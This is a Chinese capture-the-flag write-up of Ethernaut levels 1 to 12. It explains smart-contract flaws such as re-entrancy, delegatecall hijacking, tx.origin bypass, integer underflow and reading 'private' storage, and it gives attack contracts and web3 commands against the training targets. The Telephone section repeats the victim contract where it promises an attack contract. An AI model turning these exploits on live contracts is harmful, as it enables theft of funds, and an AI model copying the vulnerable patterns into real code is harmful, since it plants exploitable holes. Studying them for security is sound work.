ethernaut 以太坊靶场学习（1-12）

前言

这个靶场搜集了许多不同的 solidity 开发的问题，通过这个可以入门区块链安全

Fallback

给出了源码

pragma solidity ^0.4.18;

import 'zeppelin-solidity/contracts/ownership/Ownable.sol';

contract Fallback is Ownable {

  mapping(address => uint) public contributions;

  function Fallback() public {
    contributions[msg.sender] = 1000 * (1 ether);
  }

  function contribute() public payable {
    require(msg.value < 0.001 ether);
    contributions[msg.sender] += msg.value;
    if(contributions[msg.sender] > contributions[owner]) {
      owner = msg.sender;
    }
  }

  function getContribution() public view returns (uint) {
    return contributions[msg.sender];
  }

  function withdraw() public onlyOwner {
    owner.transfer(this.balance);
  }

  function() payable public {
    require(msg.value > 0 && contributions[msg.sender] > 0);
    owner = msg.sender;
  }
}

题目的要求为

获取合约所有权
获取所有合约的余额

这个题主要考察 fallback 函数，合约可以有一个未命名的函数。这个函数不能有参数也不能有返回值，这个函数叫做 fallback 函数, 在上面的源码中 fallback 函数为

  function() payable public {
    // 当msg.value 和 contributions[msg.sender]  都 大于0 测修改 owner
    require(msg.value > 0 && contributions[msg.sender] > 0);
    owner = msg.sender;
  }

fallback 函数被调用的情况有两种

调用合约中不存在的函数
当合约收到以太币（没有任何数据）

此外，为了接收以太币，fallback 函数必须标记为 payable。

整个解题过程

调用 contribute 增加 contributions

往合约账户发送 eth ，触发 fallback 函数 ,改变合约的 owner

调用 withdraw 获取所有合约的余额

Fallout

pragma solidity ^0.4.18;

import 'zeppelin-solidity/contracts/ownership/Ownable.sol';

contract Fallout is Ownable {

  mapping (address => uint) allocations;

  /* constructor */
  function Fal1out() public payable {
    owner = msg.sender;
    allocations[owner] = msg.value;
  }

  function allocate() public payable {
    allocations[msg.sender] += msg.value;
  }

  function sendAllocation(address allocator) public {
    require(allocations[allocator] > 0);
    allocator.transfer(allocations[allocator]);
  }

  function collectAllocations() public onlyOwner {
    msg.sender.transfer(this.balance);
  }

  function allocatorBalance(address allocator) public view returns (uint) {
    return allocations[allocator];
  }
}

题目的要求是 获取合约所有权

Fal1out 函数名打错，不是构造函数，变成了 public 的函数，任何人可以调用。直接调用这个就可以改变 owner .

这份代码还有另外一个问题，在 sendAllocation 函数中，把 eth 发给用户后，并没有清空 allocations[allocator] ，使得用户可以不断的让合约账户发 eth 给他

Coin Flip

pragma solidity ^0.4.18;

contract CoinFlip {
  uint256 public consecutiveWins;
  uint256 lastHash;
  uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

  function CoinFlip() public {
    consecutiveWins = 0;
  }

  function flip(bool _guess) public returns (bool) {
  
    // 通过上一个区块的 hash 做为随机数种子
    uint256 blockValue = uint256(block.blockhash(block.number-1));

    if (lastHash == blockValue) {
      revert();
    }

    lastHash = blockValue;
    uint256 coinFlip = blockValue / FACTOR;
    bool side = coinFlip == 1 ? true : false;

    if (side == _guess) {
      consecutiveWins++;
      return true;
    } else {
      consecutiveWins = 0;
      return false;
    }
  }
}

要求 consecutiveWins 的值设置为 10 。

其实就是要猜中 10 次随机数，浏览代码发现随机数的种子为上一个区块的 hash。这里有个小细节

一个交易是被打包在一个区块里的，通过 attack 合约去调用 Lottery 合约，那么他们的区块信息都是一样的。

所以用合约去调用 flip 就可以猜测出 flip 会算出的随机数。

poc 如下

pragma solidity ^0.4.18;

contract CoinFlip {
  function flip(bool _guess) public returns (bool);
}


contract CoinFlipAttack {
    
    address CoinFlipAddress;
    
    function CoinFlipAttack() public {
        // CoinFlip 合约部署后的地址
        CoinFlipAddress = 0x00dc1a74279861073a5ac90af56375ebca88498a48;
    }
    
    function setCoinFlipAddress(address _address) public {
        CoinFlipAddress = _address;
    }
    
  function attack() public returns (bool){
    uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
    CoinFlip coinflip = CoinFlip(CoinFlipAddress);
    uint256 blockValue = uint256(block.blockhash(block.number-1));
    
    uint256 coinFlip = blockValue / FACTOR;
    bool side = coinFlip == 1 ? true : false;
    return coinflip.flip(side);

  }
}

执行 10 次即可。

Telephone

pragma solidity ^0.4.18;

contract Telephone {

  address public owner;
  function Telephone() public {
    owner = msg.sender;
  }

  function changeOwner(address _owner) public {
    if (tx.origin != msg.sender) {
      owner = _owner;
    }
  }
}

要求成为合约的拥有者

其实就是要绕过

if (tx.origin != msg.sender)

如果我们直接调用题目合约，tx.origin 就与 msg.sender 相同。用另一合约去调用此合约，tx.origin 就不会与 msg.sender 相同。

所以新写一个合约去调用这个合约的 changeOwner 方法即可

pragma solidity ^0.4.18;

contract Telephone {

  address public owner;

  function Telephone() public {
    owner = msg.sender;
  }

  function changeOwner(address _owner) public {
    if (tx.origin != msg.sender) {
      owner = _owner;
    }
  }
}

Token

pragma solidity ^0.4.18;

contract Token {

  mapping(address => uint) balances;
  uint public totalSupply;

  function Token(uint _initialSupply) public {
    balances[msg.sender] = totalSupply = _initialSupply;
  }

  function transfer(address _to, uint _value) public returns (bool) {
    require(balances[msg.sender] - _value >= 0);
    balances[msg.sender] -= _value;
    balances[_to] += _value;
    return true;
  }

  function balanceOf(address _owner) public view returns (uint balance) {
    return balances[_owner];
  }
}

经典的无符号数滥用， balances 的类型为 uint ，所以

require(balances[msg.sender] - _value >= 0);

始终满足。这样就可以转任意 token 给任何用户。

Delegation

pragma solidity ^0.4.18;

contract Delegate {

  address public owner;

  function Delegate(address _owner) public {
    owner = _owner;
  }

  function pwn() public {
    owner = msg.sender;
  }
}

contract Delegation {

  address public owner;
  Delegate delegate;

  function Delegation(address _delegateAddress) public {
    delegate = Delegate(_delegateAddress);
    owner = msg.sender;
  }

  function() public {
    if(delegate.delegatecall(msg.data)) {
      this;
    }
  }
}

题目的要求是获取 Delegation 合约的所有权。

这题主要考察 delegatecall 的特性。

下面这篇文件总结的比较全

https://paper.seebug.org/633/#0x00

delegatecall 所在合约 (A) 在调用其他合约 (B) 的函数时，所用到的很多状态( 比如 msg.sender )都是 A 合约里面的。以及当 A 和 B 合约有一样的变量时，使用的是 A 合约中的变量。

所以利用方法如下

通过转账触发 Delegation 合约的 fallback 函数，同时设置 data 为 pwn 函数的标识符。

delegate.delegatecall(msg.data)

然后在Delegate 合约里面的 pwn 函数就会修改 Delegation 合约的 owner 变量为我们的合约地址。

计算函数 id 的方法

web3.sha3("pwn()").slice(0,10)
"0xdd365b8b"

Force

pragma solidity ^0.4.18;

contract Force {/*

                   MEOW ?
         /\_/   /
    ____/ o o 
  /~____  =ø= /
 (______)__m_m)

*/}

要求是让该合约的余额（this.balance ）不为零。

一般情况下，如果要能往合约发送 eth 需要其 fallback 函数为 payable。不过另一个合约可以通过 selfdestruct 强行给一个合约发送 eth

pragma solidity ^0.4.18;

contract Selfdestruct{
  function Selfdestruct() public payable{} // 构造函数为payable，那么就能在部署的时候给此合约转账。
  function attack() public {
    selfdestruct(0x00df9e19b596e9d8ab0fa7c6edfcc5f9f0654eb88e); // 这里要指定为销毁时将基金发送给的地址。
  }
}

Vault

pragma solidity ^0.4.18;
contract Vault {
  bool public locked;
  bytes32 private password;

  function Vault(bytes32 _password) public {
    locked = true;
    password = _password;
  }

  function unlock(bytes32 _password) public {
    if (password == _password) {
      locked = false;
    }
  }
}

要求是令 locked = false , 其实就是要我们猜测 password 的值，这里有个细节不论是 private 变量还是 public 变量都是会存储在区块链上的，就是说依然是公开的。

具体可以看

http://8btc.com/thread-226862-1-1.html

所以直接使用

web3.eth.getStorageAt("0xd22f593d19cc91d53cad61670fb8474624e8e4a7", 1, function(x, y) {alert(web3.toHex(y))})

查看 0xd22f593d19cc91d53cad61670fb8474624e8e4a7 合约的第 2 个 storage 变量的值( password )。

然后用 remix 把它给解锁。

King

pragma solidity ^0.4.18;

import 'zeppelin-solidity/contracts/ownership/Ownable.sol';

contract King is Ownable {

  address public king;
  uint public prize;

  function King() public payable {
    king = msg.sender;
    prize = msg.value;
  }

  function() external payable {
    require(msg.value >= prize || msg.sender == owner);
    king.transfer(msg.value);
    king = msg.sender;
    prize = msg.value;
  }
}

题目的要求是让我们成为永远的 king.

这里的转账函数为 transfer，根据其函数功能，我们可以令其转账过程中报错，从而返回throws 错误，无法继续执行下面的代码，这样就不会产生新的国王了

另外我们知道，如果向一个没有 fallback 函数的合约，或 fallback 不带 payable 的合约发送 eth，则会报错。

通过

fromWei((await contract.prize()).toNumber())

获取当前国王的价格

所以写个合约去调用它

pragma solidity ^0.4.18;
contract KingAttack {
  function KingAttack() public payable {
    address victim = 0x00023c2d053a342b80116d1ff0b986f5d821a08d91; // instance address
    victim.call.gas(1000000).value(msg.value);
  }
}

Re-entrancy

pragma solidity ^0.4.18;

contract Reentrance {

  mapping(address => uint) public balances;

  function donate(address _to) public payable {
    balances[_to] += msg.value;
  }

  function balanceOf(address _who) public view returns (uint balance) {
    return balances[_who];
  }

  function withdraw(uint _amount) public {
    if(balances[msg.sender] >= _amount) {
      if(msg.sender.call.value(_amount)()) {
        _amount;
      }
      balances[msg.sender] -= _amount;
    }
  }

  function() public payable {}
}

要求是转光合约账户的 eth.

漏洞在 withdraw 提现的时候，使用的是

msg.sender.call.value(_amount)()

把钱转给用户，这个会引起重入漏洞。重入漏洞的原理可以看

http://rickgray.me/2018/05/17/ethereum-smart-contracts-vulnerabilites-review/

所以我们要实现一个合约，在 fallback 函数中再次调用存在漏洞的函数，他就会一直转账，而不会进入下面的更改用户余额的代码。

 balances[msg.sender] -= _amount;

poc 如下

pragma solidity ^0.4.18;

contract Reentrance {

  mapping(address => uint) public balances;

  function donate(address _to) public payable {
    balances[_to] += msg.value;
  }

  function balanceOf(address _who) public view returns (uint balance) {
    return balances[_who];
  }

  function withdraw(uint _amount) public {
    if(balances[msg.sender] >= _amount) {
      if(msg.sender.call.value(_amount)()) {
        _amount;
      }
      balances[msg.sender] -= _amount;
    }
  }

  function() public payable {}
}

contract MyContract {
    Reentrance c;
    address owner;

    function MyContract(address _c) public payable {
        c = Reentrance(_c);
        owner = msg.sender;
        c.donate.value(msg.value)(this);
    }

    function() public payable {
        uint weHave = c.balanceOf(this);
        if (weHave > c.balance) {
            if (c.balance != 0) c.withdraw(c.balance);
            return;
        }
        c.withdraw(weHave);
    }

    function exploit() public {
        c.withdraw(1000000000000000000);
    }

    function dtor() public {
        selfdestruct(owner);
    }
}

记得要在调用 exploit 函数时设置 gas limit 为一个大的值 999999, 否则会执行失败 (out of gas)

Elevator

pragma solidity ^0.4.18;


interface Building {
  function isLastFloor(uint) view public returns (bool);
}


contract Elevator {
  bool public top;
  uint public floor;

  function goTo(uint _floor) public {
    Building building = Building(msg.sender);

    if (! building.isLastFloor(_floor)) {
      floor = _floor;
      top = building.isLastFloor(floor);
    }
  }
}

题目要求：让 top 为 true.

实现一个合约使得 isLastFloor 第一次返回 false 第二次返回 true 即可。

poc:

pragma solidity ^0.4.18;

contract Elevator {
    function goTo(uint _floor) public {}
}

contract ElevatorAttack {
  bool public isLast = true;

  function isLastFloor(uint) public returns (bool) {
    isLast = ! isLast;
    return isLast;
  }

  function attack(address _target) public {
    Elevator elevator = Elevator(_target);
    elevator.goTo(10);
  }
}

Privacy

pragma solidity ^0.4.18;

contract Privacy {

  bool public locked = true;
  uint256 public constant ID = block.timestamp;
  uint8 private flattening = 10;
  uint8 private denomination = 255;
  uint16 private awkwardness = uint16(now);
  bytes32[3] private data;

  function Privacy(bytes32[3] _data) public {
    data = _data;
  }
  
  function unlock(bytes16 _key) public {
    require(_key == bytes16(data[2]));
    locked = false;
  }

  /*
    A bunch of super advanced solidity algorithms...

      ,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`
      .,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,
      *.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^         ,---/V
      `*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.    ~|__(o.o)
      ^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'  UU  UU
  */
}

和之前的某一题类似。就是要明白 solidity 中变量的存储。EVM 虚拟机是一个256位的机器，所以它的一个存储位我们也看到了就是 32 个字节

constant 变量不存储在链上，下面 4 个变量的大小和小于 32 字节存在一个存储位

bool public locked = true;  // 1 字节
uint8 private flattening = 10; // 1 字节
uint8 private denomination = 255; // 1 字节
uint16 private awkwardness = uint16(now); // 2 字节

所以 data[2] 为 3 偏移的 Storage

web3.eth.getStorageAt("0xb0ca0b0f85590d8659c51d35aaa81132e95b0285", 3, function(x, y) {alert(web3.toHex(y))})

然后 bytes16 其实就是切片，取前 16 个字节.